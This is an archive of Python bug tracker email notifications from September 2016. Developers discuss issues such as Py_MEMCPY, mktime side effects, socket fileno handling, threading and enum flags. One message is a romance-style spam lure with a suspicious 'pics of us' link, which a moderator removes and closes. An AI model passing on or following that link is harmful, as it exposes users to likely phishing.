Message-ID: <1473786364.7.0.540292913953.issue28114@psf.upfronthosting.co.za>


Steve Dower added the comment:

Whoops, yeah that's my fault. I'll get to it before b2, but I need to catch up on my day job the next week or two, so if someone else wants to apply a fix (and add a test - test_crashers, presumably?) then go for it!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:13:06 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 17:13:06 +0000
Subject: [issue28132] impossible to uninstall python3.6.0b1-amd64 from windows
 10
In-Reply-To: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>
Message-ID: <1473786786.42.0.344702910859.issue28132@psf.upfronthosting.co.za>


Steve Dower added the comment:

You should have some log files in your %TEMP% directory. Can you zip up the most recent set and attach them here?

FWIW, I just installed with that command and uninstall was fine, though Repair certainly had some issues that I'll investigate.

----------
nosy: +steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:19:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 17:19:38 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473787178.2.0.0635964275837.issue28126@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Perfect, thanks! Should we keep the Py_MEMCPY() macro for now and define it to memcpy()? Or should I get rid of it and just define it for b/w compatibility?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:19:55 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 13 Sep 2016 17:19:55 +0000
Subject: [issue22798] time.mktime doesn't update time.tzname
In-Reply-To: <1415189548.18.0.514821385606.issue22798@psf.upfronthosting.co.za>
Message-ID: <1473787195.46.0.90007700635.issue22798@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

I ran the attached test-mktime.c program on Linux and MacOS X with the following results (TZ=America/New_York):

$ cat test-mktime.c
#include <time.h>
#include <stdio.h>
static void
print_globals(struct tm *tm)
{
  printf("%04d-%02d: %s/%s (%s) %d %ld (%ld)\n",
       	 1900 + tm->tm_year, 1 + tm->tm_mon,
       	 tzname[0], tzname[1], tm->tm_zone?tm->tm_zone:"NULL",
       	 daylight, timezone, -tm->tm_gmtoff);
}

int main() {
  struct tm tm = {0, 0, 0, 1, 0, -100};
  print_globals(&tm);
  tzset();
  print_globals(&tm);
  mktime(&tm);
  print_globals(&tm);
  tm.tm_year = 43;
  mktime(&tm);
  print_globals(&tm);
  tm.tm_year = 45;
  tm.tm_mon = 8;
  mktime(&tm);
  print_globals(&tm);
}

Linux:

$ gcc test-mktime.c && ./a.out
1800-01: GMT/GMT (NULL) 0 0 (0)
1800-01: EST/EDT (NULL) 1 18000 (0)
1800-01: LMT/EDT (LMT) 1 18000 (17762)
1943-01: EST/EWT (EWT) 1 18000 (14400)
1945-09: EST/EPT (EPT) 1 18000 (14400)


MacOS X:

$ clang test-mktime.c && ./a.out
1800-01: WILDABBR/WILDABBR (NULL) 0 0 (0)
1800-01: EST/EDT (NULL) 1 18000 (0)
1800-01: EST/EDT (NULL) 1 18000 (0)
1943-01: EST/EWT (EWT) 1 18000 (14400)
1945-09: EST/EPT (EPT) 1 18000 (14400)

Indeed, mktime changes tzname as a side effect, but the result is system dependent (see LMT/EDT vs. EST/EDT in the third line).

Furthermore, the values of daylight and timezone variables do not get updated, resulting in an inconsistent state.  For this reason, I don't think Python should expose the new values of tzname.  People who really need access to those can use ctypes.

----------
resolution:  -> wont fix
stage: patch review -> resolved
status: open -> closed
Added file: http://bugs.python.org/file44641/test-mktime.c

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22798>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:22:58 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 17:22:58 +0000
Subject: [issue28132] impossible to uninstall python3.6.0b1-amd64 from windows
 10
In-Reply-To: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>
Message-ID: <1473787378.15.0.242287298146.issue28132@psf.upfronthosting.co.za>


Big Stone added the comment:

what I found in temp (user temp)

----------
Added file: http://bugs.python.org/file44642/temp_info.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:25:32 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 17:25:32 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473787532.6.0.210973826839.issue28126@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'm okay with removing it completely, if you're willing to change that much code. (Most of my additions already uses memcpy or memcpy_s directly, since I wasn't even aware of this macro :) )

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 13:44:16 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 17:44:16 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473788656.5.0.851457986179.issue28126@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Behold the power of Unix! :)

$ find -name '*.[ch]' | xargs sed -i s/Py_MEMCPY/memcpy/g

Victor, are you fine with the change? I'm going to keep Py_MEMCPY around.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:02:47 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 13 Sep 2016 18:02:47 +0000
Subject: [issue28131] assert statements missed when loaded by zipimporter
In-Reply-To: <1473783555.8.0.563951024179.issue28131@psf.upfronthosting.co.za>
Message-ID: <1473789767.64.0.827181339153.issue28131@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I've added Greg and Thomas in case they have any ideas as they have looked at zipimport more recently than I have.

----------
nosy: +gregory.p.smith, twouters

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28131>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:04:50 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 13 Sep 2016 18:04:50 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473789890.51.0.147354625973.issue27322@psf.upfronthosting.co.za>


Brett Cannon added the comment:

That seems reasonable to me. There is a context manager in test.test_importlib.util which can help with changing sys.path temporarily.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:11:51 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 18:11:51 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473788656.5.0.851457986179.issue28126@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaX40Fz8hoVRrrpPNYJnNBu92BSxUU-cO9s+R_27vT8RA@mail.gmail.com>


STINNER Victor added the comment:

The macro looks public, you cannot remove it.

Make it an alias to memcpy(), but explain that it's only kept for backward
compatibility with a reference to this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:15:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 18:15:36 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473790536.31.0.0788175967008.issue28126@psf.upfronthosting.co.za>


Christian Heimes added the comment:

As I said, I'm going to keep Py_MEMCPY around but replace it everywhere else.

/* Py_MEMCPY is kept for backwards compatibility,
 * see https://bugs.python.org/issue28126 */
#define Py_MEMCPY memcpy

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:16:02 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 13 Sep 2016 18:16:02 +0000
Subject: =?utf-8?q?=5Bissue28116=5D_Error_in_what=27s_new_-_PEP=C2=A0515?=
In-Reply-To: <1473750455.95.0.91976047794.issue28116@psf.upfronthosting.co.za>
Message-ID: <1473790562.76.0.622726074636.issue28116@psf.upfronthosting.co.za>


Brett Cannon added the comment:

the author meant "integer literals" when he said "integers" which is accurate as the hex literal isn't quite the same (e.g. uses different parse rules, etc.). If you would still like to propose different wording then you can submit a pull request at github.com/python/peps for consideration.

----------
nosy: +brett.cannon
resolution:  -> third party
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28116>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:18:04 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 18:18:04 +0000
Subject: [issue27883] Update sqlite version for Windows build
In-Reply-To: <1472383089.76.0.501181258195.issue27883@psf.upfronthosting.co.za>
Message-ID: <1473790684.16.0.390912826367.issue27883@psf.upfronthosting.co.za>


Big Stone added the comment:

well, json extension is not included in 3.6.0b1 . not a drama, yet a small deception

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27883>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:22:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 18:22:44 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <20160913182239.24072.15013.41D56B3F@psf.io>


Roundup Robot added the comment:

New changeset bedce61ae0a0 by Christian Heimes in branch '3.6':
Issue #28126: Replace Py_MEMCPY with memcpy(). Visual Studio can properly optimize memcpy().
https://hg.python.org/cpython/rev/bedce61ae0a0

New changeset f5d32ed0f9c2 by Christian Heimes in branch 'default':
Issue #28126: Replace Py_MEMCPY with memcpy(). Visual Studio can properly optimize memcpy().
https://hg.python.org/cpython/rev/f5d32ed0f9c2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:23:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 18:23:10 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473790990.78.0.904422984179.issue28126@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:23:35 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 18:23:35 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1473791015.28.0.394809470827.issue28115@psf.upfronthosting.co.za>


R. David Murray added the comment:

Note that a key part of doing a translation like this is to write tests for the CLI, as comprehensively as possible, so that we have some assurance we didn't break anything in the translation.  But experience tells us that we *will* break something, since we have in every one of the translations to argparse that we've done so far :)

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:30:58 2016
From: report at bugs.python.org (Big Stone)
Date: Tue, 13 Sep 2016 18:30:58 +0000
Subject: [issue28132] impossible to uninstall python3.6.0b1-amd64 from windows
 10
In-Reply-To: <1473784984.9.0.26484337307.issue28132@psf.upfronthosting.co.za>
Message-ID: <1473791458.14.0.0612774865134.issue28132@psf.upfronthosting.co.za>


Big Stone added the comment:

okay is successfukky repaired, then uninstalled by clicking twice on the installer.exe. 

this never worked by using the "application and functionalities" menu of windows 109.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28132>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:42:23 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 18:42:23 +0000
Subject: [issue28122] email.header.decode_header can not decode string with
 quotation
In-Reply-To: <1473756712.9.0.349005206851.issue28122@psf.upfronthosting.co.za>
Message-ID: <1473792143.49.0.957894640557.issue28122@psf.upfronthosting.co.za>


R. David Murray added the comment:

Note, however, that python3 will compensate for this bug in the input, and register a defect for it:

>>> import email
>>> import email.policy
>>> msg = email.message_from_string('To: "=?gb18030?B?bWFpbGZvcnRlc3R0?=" <2070776562 at qq.com>\n\ntest body', policy=email.policy.default)
>>> print(msg)
To: "=?gb18030?B?bWFpbGZvcnRlc3R0?=" <2070776562 at qq.com>

test body
>>> msg['To']
'mailfortestt <2070776562 at qq.com>'
>>> msg['To'].defects
(InvalidHeaderDefect('encoded word inside quoted string',),)

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28122>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:46:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 18:46:51 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473792411.78.0.175740470092.issue28118@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have an even better solution that gets rid of the warning and the extra memset() call:

diff -r bedce61ae0a0 Modules/_ssl.c
--- a/Modules/_ssl.c    Tue Sep 13 20:22:02 2016 +0200
+++ b/Modules/_ssl.c    Tue Sep 13 20:45:46 2016 +0200
@@ -5073,13 +5073,12 @@
 
     if (_ssl_locks == NULL) {
         _ssl_locks_count = CRYPTO_num_locks();
-        _ssl_locks = PyMem_New(PyThread_type_lock, _ssl_locks_count);
+        _ssl_locks = PyMem_Calloc(_ssl_locks_count,
+                                  sizeof(PyThread_type_lock));
         if (_ssl_locks == NULL) {
             PyErr_NoMemory();
             return 0;
         }
-        memset(_ssl_locks, 0,
-               sizeof(PyThread_type_lock) * _ssl_locks_count);
         for (i = 0;  i < _ssl_locks_count;  i++) {
             _ssl_locks[i] = PyThread_allocate_lock();
             if (_ssl_locks[i] == NULL) {

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:50:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 18:50:04 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473792604.81.0.931262197523.issue28118@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Fixed in 9e8e15993aae

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:53:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 18:53:21 +0000
Subject: [issue27778] PEP 524: Add os.getrandom()
In-Reply-To: <1471368341.7.0.188364803995.issue27778@psf.upfronthosting.co.za>
Message-ID: <1473792801.0.0.280359795628.issue27778@psf.upfronthosting.co.za>


Christian Heimes added the comment:

3.6 is in beta phase. Are you interested to add the feature to 3.7?

----------
nosy: +christian.heimes
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27778>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:57:31 2016
From: report at bugs.python.org (Gukas Artunyan)
Date: Tue, 13 Sep 2016 18:57:31 +0000
Subject: [issue28133] really and truly
Message-ID: <00002cd07039$4e91d9ac$2b1a8609$@yahoo.com>


New submission from Gukas Artunyan:

Hello! 

I wanted to share with you something important , I guess I really and truly am in love this  time!  Take a  look at some pics of us  <http://link.davidcchou.com/lnrjw>

Be well, gukaar77

----------
messages: 276324
nosy: gukaar77
priority: normal
severity: normal
status: open
title: really and truly

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28133>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:58:24 2016
From: report at bugs.python.org (=?utf-8?q?Maciej_Urba=C5=84ski?=)
Date: Tue, 13 Sep 2016 18:58:24 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473793104.77.0.281330442903.issue27908@psf.upfronthosting.co.za>


Maciej Urba?ski added the comment:

Successfully reproduced on 2.7.12 and 3.5.2 .
Currently there seems to be no protection against starting the same thread twice at the same time. What was checked was only if start operation already finished once.

Attached patch makes it so limbo, our starting threads' waiting room, is checked first.

----------
keywords: +patch
nosy: +rooter
versions: +Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44643/issue27908.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:59:04 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 18:59:04 +0000
Subject: [issue28133] spam
In-Reply-To: <00002cd07039$4e91d9ac$2b1a8609$@yahoo.com>
Message-ID: <1473793144.03.0.209871093902.issue28133@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
nosy:  -gukaar77
title: really and truly -> spam

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28133>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:59:19 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 18:59:19 +0000
Subject: [issue28133] spam
Message-ID: <1473793159.43.0.441069998949.issue28133@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
Removed message: http://bugs.python.org/msg276324

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28133>
_______________________________________

From report at bugs.python.org  Tue Sep 13 14:59:58 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 18:59:58 +0000
Subject: [issue28133] spam
Message-ID: <1473793198.87.0.766252355075.issue28133@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28133>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:04:42 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 19:04:42 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1473793482.73.0.11675563451.issue28128@psf.upfronthosting.co.za>


R. David Murray added the comment:

The error can't be a SyntaxError, it must be a DeprecationWarning.  If you can improve the deprecation warning text, I'd be in favor of calling that a fix to the original feature and put it in 3.6.  The deprecation warning can even say that this will be a SyntaxError some time in the future.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:13:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 19:13:31 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
Message-ID: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Documentation of socket.socket(fileno) https://docs.python.org/3/library/socket.html#socket.socket says:

> If fileno is specified, the other arguments are ignored, causing the socket with the specified file descriptor to return.

The feature does not work. fileno does not infer the values for family, type and proto from the fd. Instead if uses the other arguments. I don't see how this feature should have ever worked on POSIX. There are no calls to getsockopt() with SO_DOMAIN, SO_TYPE and SO_PROTOCOL.

$ ./python 
Python 3.7.0a0 (default:6bcedf96d25f, Sep 13 2016, 20:48:50) 
[GCC 6.1.1 20160621 (Red Hat 6.1.1-3)] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import socket
>>> uds = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> uds
<socket.socket fd=3, family=AddressFamily.AF_UNIX, type=SocketKind.SOCK_STREAM, proto=0>
>>> s = socket.socket(fileno=uds.fileno())
>>> s
<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0>
>>> s.family == uds.family
False
>>> s2 = socket.socket(type=socket.SOCK_DGRAM, fileno=uds.fileno())
>>> s2
<socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_DGRAM, proto=0>

----------
messages: 276327
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: socket.socket(fileno=fd) does not work as documented
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:16:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 19:16:48 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1473794208.4.0.203258877927.issue28134@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage:  -> needs patch
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:17:55 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 19:17:55 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1473794275.6.0.813892015271.issue28134@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I expected that socket.socket(fileno) would fill in all socket options like my own implementation https://github.com/tiran/socketfromfd/blob/master/socketfromfd.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:20:19 2016
From: report at bugs.python.org (Michael Mol)
Date: Tue, 13 Sep 2016 19:20:19 +0000
Subject: [issue5396] os.read not handling O_DIRECT flag
In-Reply-To: <1235847751.77.0.558509867366.issue5396@psf.upfronthosting.co.za>
Message-ID: <1473794419.48.0.0166933481667.issue5396@psf.upfronthosting.co.za>


Michael Mol added the comment:

I need to remember not to try to write quick programs in Python that need O_DIRECT.

My use case: I'm attempting to write a program that forces the disk to seek to a particular place, as part of burning in the disk.

My algorithm goes:

1. Seek to the beginning of the disk
2. Write to the disk
3. Seek to the end of the disk
4. Write to the disk
5. Seek to the beginning of the disk
6. Read from the disk
7. Seek to the end of the disk
8. Read from the disk

It then repeats with offsets, leading the seek distance to shrink until the two positions overlap at the center of the disk, and then expand as the positions diverge to the opposite end of the disk from where they began.

It's straightforward, and can be done using mmap and os.write as far as the writing side of things goes, but it does not work on the reading side, as even this workaround does not work:

d = os.open(disk_file_path, os.O_RDWR | os.O_DIRECT | os.O_SYNC | os.O_DSYNC)
readbuf = mmap.mmap(-1, 4096)
os.lseek(d, 0, os.SEEK_SET)
fo = os.fdopen(d, 'rb')
fo.readinto(readbuf)

... I get errno 22 on the final line. Apparently, code similar to that used to work, but no longer does.

----------
nosy: +Michael Mol

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5396>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:23:53 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 13 Sep 2016 19:23:53 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1473794633.7.0.0831827677022.issue28134@psf.upfronthosting.co.za>


R. David Murray added the comment:

See also issue 27377?

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:24:44 2016
From: report at bugs.python.org (Dima Tisnek)
Date: Tue, 13 Sep 2016 19:24:44 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473794684.57.0.460043808851.issue27908@psf.upfronthosting.co.za>


Dima Tisnek added the comment:

@rooter, if you go this way, you should also `self._started.set()` with lock held, together with removing thread from `_limbo`

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:27:20 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Tue, 13 Sep 2016 19:27:20 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1342446105.53.0.956340794171.issue15369@psf.upfronthosting.co.za>
Message-ID: <1473794840.69.0.316221750505.issue15369@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

Please add notes to the Tools/README pointing users to the performance suite.

I'd also like to request that you reword this dismissive line in the performance package's readme:

"""
pybench - run the standard Python PyBench benchmark suite. This is considered an unreliable, unrepresentative benchmark; do not base decisions off it. It is included only for completeness.
"""

I suppose this was taken from the Unladden Swallow list of benchmarks and completely misses the point of what pybench is all about: it's a benchmark to run performance tests for individual parts of CPython's VM implementation. It never was intended to be representative. The main purpose is to be able to tell whether an optimization in CPython has an impact on individual areas of the interpreter or not.

Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:40:29 2016
From: report at bugs.python.org (=?utf-8?q?Maciej_Urba=C5=84ski?=)
Date: Tue, 13 Sep 2016 19:40:29 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473795629.68.0.471832797019.issue27908@psf.upfronthosting.co.za>


Maciej Urba?ski added the comment:

@Dima.Tisnek, only reason for having both of these conditions together is so I won't have to repeat the same error message in the code at little price of the performance in this edge case (trying to start the same thread multiple times).

Unless I'm missing something there should be no way how it would make this lock required for setting `self._started`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:54:06 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 13 Sep 2016 19:54:06 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473796446.02.0.294818984548.issue27908@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
components:  -Extension Modules

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 15:54:35 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 13 Sep 2016 19:54:35 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473796475.81.0.383606569044.issue27908@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy:  -brett.cannon
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:12:11 2016
From: report at bugs.python.org (Facundo Batista)
Date: Tue, 13 Sep 2016 20:12:11 +0000
Subject: [issue28135] assertRaises should return the exception in its simple
 form
Message-ID: <1473797531.08.0.417014131559.issue28135@psf.upfronthosting.co.za>


New submission from Facundo Batista:

So, you could do:

  exc = self.assertRaises(ValueError, somefunc, someargs)

And then, explore "exc" as will. 

Yes, you can get the exception if you use assertRaises as a context manager, but that leads to more cumbersome code:

  with self.assertRaises(ValueError) as cm:
      somefunc(someargs)
      exc = cm.exception

----------
messages: 276334
nosy: facundobatista
priority: normal
severity: normal
status: open
title: assertRaises should return the exception in its simple form

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28135>
_______________________________________

From report at bugs.python.org  Tue Sep 13 16:15:11 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 13 Sep 2016 20:15:11 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1473797711.42.0.109847040944.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Now that I actually had the chance to play with the implementation, I see most of my worst fears were justified. :-( Look:

    >>> import enum
    >>> class B(enum.Flag):
            b = 3
            c = 4
            d = 6
    >>> B.b | B.c
    Traceback (most recent call last): ...
    ValueError: 7 is not a valid B
    >>> t = B.b | B.c
    >>> t
    <B.d|1: 7>
    >>> B.b | B.c
    >>> B.b | B.c
    <B.d|1: 7>
    >>> ~B.d
    <B.0: 0>

